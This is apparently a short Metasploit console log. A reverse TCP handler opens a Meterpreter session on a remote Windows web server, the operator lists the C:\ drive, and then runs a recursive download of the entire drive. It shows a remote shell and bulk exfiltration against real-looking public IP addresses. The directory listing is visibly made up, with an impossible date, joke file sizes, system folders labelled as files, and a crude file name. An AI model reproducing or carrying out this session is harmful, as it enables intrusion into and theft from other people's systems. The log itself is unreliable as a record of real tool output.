msf5 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 141.98.102.150:4444
[*] Sending stage (38247 bytes) to 87.227.133.192
[*] Meterpreter session 1 opened (141.98.102.150:4444 -> 87.227.133.192:56635) at 2019-05-13

meterpreter > pwd
C:\web\halcedon\new\usr\photos
meterpreter > cd C:/
meterpreter > ls
Listing: C:\
=========

Mode Size Type Last Modified Name
------- ------ ------ ------------------ ---------
40777/rwxrwxrwx 6969 fil 2019-08-12 22:02:13 trapHentai.png
40777/rwxrwxrwx 6969 fil 2019-08-12 22:02:30 Documents and Settings
40777/rwxrwxrwx -1 dir 2018-17-10 01:13:02 $Recycle.Bin
40777/rwxrwxrwx 1818 fil 2019-08-12 14:34:34 Users
40777/rw-rw-rw- 42034 dir 2019-08-12 18:29:12 System Volume Information
40777/rwxrwxrwx 1337 fil 2019-12-12 17:21:45 Windows
40777/rwxrwxrwx 234 fil 2018-01-01 05:56:37 web
1000666/r-xr-xr-x 420 dir 2017-08-03 02:23:06 KVRT

meterpreter > download -r ./